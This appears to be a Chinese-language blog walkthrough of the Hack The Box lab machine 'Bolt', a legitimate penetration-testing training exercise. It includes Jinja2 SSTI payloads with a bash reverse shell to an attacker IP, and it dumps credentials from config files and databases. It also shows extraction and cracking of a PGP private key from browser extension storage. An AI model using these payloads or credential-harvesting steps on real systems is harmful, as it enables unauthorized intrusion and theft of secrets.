[Hack The Box] HTB—Bolt walkthrough

[Hack The Box] HTB—Bolt walkthrough

咕咕咕咕咕,咕到retired我就可以抄walkthrough了
请添加图片描述


image-20220221141442854

官方wp:https://app.hackthebox.com/machines/Bolt/walkthroughs


一、信息搜集

1.端口

nmap

nmap -sV 10.10.11.114

image-20220217100116343

深度扫描开放端口

nmap -sC -sV -n -T5 -p 22,80,443 10.10.11.114 -oN PortsDepth.txt 

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About 
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

443端口的ssl证书公用名commonName=passbolt.bolt.htb

公用名 (AKA CN) 表示受 SSL 证书保护的服务器名称。仅当请求主机名与证书公用名匹配时,证书才有效。大多数 Web 浏览器在连接到与证书中的公用名不匹配的地址时会显示警告消息。

The Common Name (AKA CN) represents the server name protected by the SSL certificate. The certificate is valid only if the request hostname matches the certificate common name. Most web browsers display a warning message when connecting to an address that does not match the common name in the certificate.

修改hosts将两个域名都加上

10.10.11.114    bolt.htb
10.10.11.114    passbolt.bolt.htb

Passbolt | Open source password manager for teams

image-20220221090824542

Starter Website - About (bolt.htb)

image-20220221090844563


2.vhosts

扫描子域名看看(ffuf我也试过,感觉gobuster好用一点)

gobuster vhost  -w /usr/share/dnsrecon/subdomains-top1mil.txt -u http://bolt.htb/

image-20220221110952764

得到另外两个个子域名

Found: mail.bolt.htb (Status: 200) [Size: 4943]
Found: demo.bolt.htb (Status: 302) [Size: 219] 

http://mail.bolt.htb/

image-20220221111350932

http://deom.bolt.htb/

image-20220221111527742


二、网站渗透

80 bolt cms,有个命令执行漏洞,但是需要用户(后来发现根本不是一个boltcms……)

image-20220217101241269

注册失败,爆破admin用户没有成功


1.docker分析

翻翻主页发现有个download选项,把镜像下载下来

image-20220217104225847

导入并运行docker镜像image.tar

docker load --input image.tar
docker images       //查看镜像
# flask-dashboard-adminlte_appseed-app           latest    859e74798e6c   11 months ago   154MB

docker run -itd 859e74798e6c    //运行image
docker exec -it 623ea34 /bin/sh     //进入容器

发现网站文件是在/app下,cp命令复制出来

docker cp 623ea347a31f:app ./app

再加上根目录下运行的run.py和配置文件config.py,稍微看一下源码


2.源码审计

config.py

import os
from   decouple import config

class Config(object):

    basedir    = os.path.abspath(os.path.dirname(__file__))

    # Set up the App SECRET_KEY
    SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')

    # This will create a file in <app> FOLDER
    SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3')
    SQLALCHEMY_TRACK_MODIFICATIONS = False
    MAIL_SERVER = 'localhost'
    MAIL_PORT = 25
    MAIL_USE_TLS = False
    MAIL_USE_SSL = False
    MAIL_USERNAME = None
    MAIL_PASSWORD = None
    DEFAULT_MAIL_SENDER = 'support@bolt.htb'

class ProductionConfig(Config):
    DEBUG = False

    # Security
    SESSION_COOKIE_HTTPONLY  = True
    REMEMBER_COOKIE_HTTPONLY = True
    REMEMBER_COOKIE_DURATION = 3600

    # PostgreSQL database
    SQLALCHEMY_DATABASE_URI = '{}://{}:{}@{}:{}/{}'.format(
        config( 'DB_ENGINE'   , default='postgresql'    ),
        config( 'DB_USERNAME' , default='appseed'       ),
        config( 'DB_PASS'     , default='pass'          ),
        config( 'DB_HOST'     , default='localhost'     ),
        config( 'DB_PORT'     , default=5432            ),
        config( 'DB_NAME'     , default='appseed-flask' )
    )

class DebugConfig(Config):
    DEBUG = True

# Load all possible configurations
config_dict = {
    'Production': ProductionConfig,
    'Debug'     : DebugConfig
}

SQLALCHEMY_DATABASE_URI这种格式很明显就可以看出是利用flask_sqlalchemy库或者sqlalchemy库连接postgresql的

SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3')
postgresql://appseed:pass@localhost:5432/appseed-flask

但是这里我恢复的最新的docker容器没有db.sqlite3,他在a4ea的那个layer下

image-20220218103035269

sqlite3没有加密,导出打开

image-20220218103117538

admin $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.

再回去看密码的加密方式

app/base/routes.py

@blueprint.route('/login', methods=['GET', 'POST'])
def login():
    login_form = LoginForm(request.form)
    if 'login' in request.form:
        
        # read form data
        username = request.form['username']
        password = request.form['password']

        # Locate user
        user = User.query.filter_by(username=username).first()
        
        # Check the password
        stored_password = user.password
        stored_password = stored_password.decode('utf-8')
        if user and compare_hash(stored_password,crypt.crypt(password,stored_password)):

            login_user(user)
            return redirect(url_for('base_blueprint.route_default'))

        # Something (user or pass) is not ok
        return render_template( 'accounts/login.html', msg='Wrong user or password', form=login_form)

compare_hash(stored_password,crypt.crypt(password,stored_password)),后来我发现John the Ripper可以识别加密并爆破!不用写py脚本

john -w=/usr/share/wordlists/rockyou.txt admin.hash 

image-20220220101850959

admin用户密码
admin/deadbolt

大佬的py脚本

图片

这个用户密码是登陆http://bolt.htb/admin/home的,但是这个主站没有什么漏洞的地方

image-20220221111828143

而mail.bolt.htb的admin账户登陆会返回错误,尝试在demo.bolt.htb里面注册个新的用户

41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad的layer下app\base\routes.py

@blueprint.route('/register', methods=['GET', 'POST'])
def register():
    login_form = LoginForm(request.form)
    create_account_form = CreateAccountForm(request.form)
    if 'register' in request.form:

        username  = request.form['username']
        email     = request.form['email'   ]
        code      = request.form['invite_code']
        if code != 'XNSS-HSJW-3NGU-8XTJ':
            return render_template('code-500.html')
        data = User.query.filter_by(email=email).first()
        if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
            # Check usename exists
            user = User.query.filter_by(username=username).first()
            if user:
                return render_template( 'accounts/register.html', 
                                    msg='Username already registered',
                                    success=False,
                                    form=create_account_form)

            # Check email exists
            user = User.query.filter_by(email=email).first()
            if user:
                return render_template( 'accounts/register.html', 
                                    msg='Email already registered', 
                                    success=False,
                                    form=create_account_form)

            # else we can create the user
            user = User(**request.form)
            db.session.add(user)
            db.session.commit()

            return render_template( 'accounts/register.html', 
                                msg='User created please <a href="/login">login</a>', 
                                success=True,
                                form=create_account_form)

    else:
        return render_template( 'accounts/register.html', form=create_account_form)

拿到邀请码code == 'XNSS-HSJW-3NGU-8XTJ'

image-20220221143422764


3.SSTI

注册后登陆,(之前看到是Jinja2)再搜render_template找ssti漏洞,看profile这段源码

@blueprint.route("/example-profile", methods=['GET', 'POST'])
@login_required
def profile():
    """Profiles"""
    if request.method == 'GET':
        return render_template('example-profile.html', user=user,current_user=current_user)
    else:
        """Experimental Feature"""
        cur_user = current_user
        user = current_user.username
        name = request.form['name']
        experience = request.form['experience']
        skills = request.form['skills']
        msg = Message(
                recipients=[f'{cur_user.email}'],
                sender = 'support@example.com',
                reply_to = 'support@example.com',
                subject = "Please confirm your profile changes"
            )
        try:
            cur_user.profile_update = name
        except:
            return render_template('page-500.html')
        db.session.add(current_user)
        db.session.commit()
        token = ts.dumps(user, salt='changes-confirm-key')
        confirm_url = url_for('home_blueprint.confirm_changes',token=token,_external=True)
        html = render_template('emails/confirm-changes.html',confirm_url=confirm_url)
        msg.html = html
        mail.send(msg)
        return render_template('index.html')

修改profile时候会有ssti,这里需要到邮箱里面确认

@blueprint.route('/confirm/changes/<token>')
def confirm_changes(token):
    """Confirmation Token"""
    try:
        email = ts.loads(token, salt="changes-confirm-key", max_age=86400)
    except:
        abort(404)
    user = User.query.filter_by(username=email).first_or_404()
    name = user.profile_update
    template = open('templates/emails/update-name.html', 'r').read()
    msg = Message(
            recipients=[f'{user.email}'],
            sender = 'support@example.com',
            reply_to = 'support@example.com',
            subject = "Your profile changes have been confirmed."
        )
    msg.html = render_template_string(template % name)
    mail.send(msg)

image-20220221144405515

去mail.bolt.htb用刚刚注册时候填的邮箱登陆,msg.html = render_template_string(template % name)确认有ssti

image-20220221144544981

{{''.__class__.__mro__}}
#(<class 'str'>, <class 'object'>)

找object可用引用
{{''.__class__.__mro__[1].__subclasses__()}}
# <class 'os._wrap_close'>是第129个

{{"".__class__.__bases__[0].__subclasses__()[129].__init__.__globals__['popen']('whoami').read()}}
//这个payload不行

image-20220221144931130

//找到了这个,Jinja2创建的url_for()方法
{{url_for.__globals__.os.popen("whoami").read()}}

//反弹shell
{{url_for.__globals__.os.popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.9/4444 0>&1"').read()}}
nc -lvvp 4444

image-20220221150420174

image-20220221151853457


三、提权

1.找密码登陆eddie

查看可登陆\有权限的用户

cat /etc/passwd|grep -v nologin |grep -v false

root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
eddie:x:1000:1000:Eddie Johnson,,,:/home/eddie:/bin/bash
clark:x:1001:1001:Clark Griswold,,,:/home/clark:/bin/bash

连接数据库,看有没有其他用户的信息

www-data@bolt:~/demo$ cat config.py
cat config.py
"""Flask Configuration"""
#SQLALCHEMY_DATABASE_URI = 'sqlite:///database.db'
SQLALCHEMY_DATABASE_URI = 'mysql://bolt_dba:dXUUHSW9vBpH5qRB@localhost/boltmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'kreepandcybergeek'
MAIL_SERVER = 'localhost'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
#MAIL_DEBUG = app.debug
MAIL_USERNAME = None
MAIL_PASSWORD = None
DEFAULT_MAIL_SENDER = 'support@bolt.htb'

mysql://bolt_dba:dXUUHSW9vBpH5qRB@localhost/boltmail

bolt_dba/dXUUHSW9vBpH5qRB

mysql -ubolt_dba -pdXUUHSW9vBpH5qRB
use boltmail;
show tables;    # user
select * from user;

image-20220221155411331

当前用户权限不够不能看mysql库,boltmail库没有我需要的

然后就不会了,wp说要根据用户查文件:

find /etc -user www-data 2>/dev/null
# /etc/passbolt/Seeds

image-20220221162143853

/etc/passbolt/passbolt.php 中存在一个passwd: rT2;jW7<eY8!dX8}pQ8%有如下数据库信息:

    // Database configuration.
    'Datasources' => [
        'default' => [
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',
            'database' => 'passboltdb',
        ],
    ],

连接

mysql --user=passbolt --password='rT2;jW7<eY8!dX8}pQ8%' --database=passboltdb
show tables;
# 有两个表可以看看,user和secret
        account_settings
        action_logs
        actions
        authentication_tokens
        avatars
        comments
        email_queue
        entities_history
        favorites
        gpgkeys
        groups
        groups_users
        organization_settings
        permissions
        permissions_history
        phinxlog
        profiles
        resource_types
        resources
        roles
        secret_accesses
        secrets
        secrets_history
        user_agents
        users

select * from secrets;  //会显示不全
select * from users;
select * from secrets\G //在MySQL的sql语句后加上\G ,表示将查询结果进行按列打印,可以使每个字段打印到单独的行。

secret

*************************** 1. row ***************************                                                                                              
         id: 643a8b12-c42c-4507-8646-2f8712af88f8                                                                                                           
    user_id: 4e184ee6-e436-47fb-91c9-dccb57f250bc                                                                                                           
resource_id: cd0270db-c83f-4f44-b7ac-76609b397746                                                                                                           
       data: -----BEGIN PGP MESSAGE-----                                                                                                                    
Version: OpenPGP.js v4.10.9                                                                                                                                 
Comment: https://openpgpjs.org                                                                                                                              
                                                                                                                                                            
wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc                                                                                                
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY                                                                                                
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H                                                                                                
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px                                                                                                
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----

    created: 2021-02-25 21:50:11
   modified: 2021-03-06 15:34:36

其实我们之前拿到的密码也是eddie用户的密码

eddie/rT2;jW7<eY8!dX8}pQ8%

切换用户

su - eddie
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20220222092814986

eddie用户目录下有个user.txt,应该也是flag

2.eddle private key

find /var -user eddie 2>/dev/null
# /var/mail/eddie

cd /var/mail
ls
# eddie  none  root  www-data  xiaoz

看到邮件内容

eddie@bolt:/var/mail$ cat eddie
From clark@bolt.htb  Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
        id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>

Hey Eddie,

The password management server is up and running.  Go ahead and download the extension to your browser and get logged in.  Be sure to back up your private key because I CANNOT recover it.  Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords.  Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...

-Clark

应该找私钥 Your private key is the only way to recover your account.,联系之前数据库中拿到的secret,应该是PGP私钥

信任网络,PGP,GPG

优良保密协议(PGP)是一种基于信任网络的安全协议

OpenPGP

1997年,PGP成为一项互联网标准,称为OpenPGP。许多电子邮件系统都支持了OpenPGP。实际上,PGP信任网络的理念非常适合电子邮件特点。2007年,PGP协议进行了加密算法方面的更新,后来又加入了对Camellia,ECDSA, ECDH和EdDSA等加密算法的支持。

GPG

GNU Privacy Guard(GnuPG或GPG)是一种加密软件,它是PGP加密软件的满足GPL的替代物。GnuPG依照由IETF订定的OpenPGP技术标准设计。GnuPG用于加密、数位签章及产生非对称匙对的软件。

Go ahead and download the extension to your browser and get logged in.私钥可能是在浏览器的缓存里面)在home目录找私钥

谷歌数据路径:~/.config/google-chrome/Default

火狐数据路径:〜/ Library / Mozilla / Firefox / Profiles / xxxxxxxx.default /

​ 〜/ Library / Application Support / Mozilla / Firefox / Profiles / xxxxxxxx.default /

grep -r 'BEGIN PGP PRIVATE KEY' ~

/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js:const PRIVATE_HEADER = '-----BEGIN PGP PRIVATE KEY BLOCK-----';
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js:            // BEGIN PGP PRIVATE KEY BLOCK
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js:      result.push("-----BEGIN PGP PRIVATE KEY BLOCK-----\r\n");
Binary file /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log matches

把符合私钥格式的段落筛出

strings '/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log' | grep -oP '\-\-\-\-\-BEGIN PGP PRIVATE [\s\S]*?END PGP PRIVATE KEY BLOCK\-\-\-\-\-' | head -1

strings '/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js' | grep -oP '\-\-\-\-\-BEGIN PGP PRIVATE [\s\S]*?END PGP PRIVATE KEY BLOCK\-\-\-\-\-' | head -1

得到私钥

image-20220222104247200

-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

xcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
fjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk
cpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU
RNa6PCvADh22J5vD+/RjPrmpnHcUuj+/qtJrS6PyEhY6jgxmeijYZqGkGeWU
+XkmuFNmq6km9pCw+MJGdq0b9yEKOig6/UhGWZCQ7RKU1jzCbFOvcD98YT9a
If70XnI0xNMS4iRVzd2D4zliQx9d6BqEqZDfZhYpWo3NbDqsyGGtbyJlABEB
AAH+CQMINK+e85VtWtjguB8IR+AfuDbIzHyKKvMfGStRhZX5cdsUfv5znicW
UjeGmI+w7iQ+WYFlmjFN/Qd527qOFOZkm6TgDMUVubQFWpeDvhM4F3Y+Fhua
jS8nQauoC87vYCRGXLoCrzvM03IpepDgeKqVV5r71gthcc2C/Rsyqd0BYXXA
iOe++biDBB6v/pMzg0NHUmhmiPnSNfHSbABqaY3WzBMtisuUxOzuvwEIRdac
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=cqxZ
-----END PGP PRIVATE KEY BLOCK-----

3.PGP解密

PGP私钥通常有密码加密,可以用gpg2john计算哈希并用john破解

gpg2john.exe pgp.txt > hash
john.exe hash

image-20220222104341313

密码:merrychristmas

用在线工具(PGP 工具 - 在线 PGP 密钥生成器加密解密工具 (pgptool.org))解密之前数据库中得到的加密pgp消息

image-20220222104651488

{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}

得到root的秘密,切换用户

image-20220222104920975

得到flag 4a1c94ec439b2a1c143f228b6114155a

image-20220222105005066

参考wp:

【HTB系列】Bolt l [承影安全团队ChengYingTeam]

Bolt - [HTB] | Marmeus’s Website

Bolt|(7rocky.github.io)

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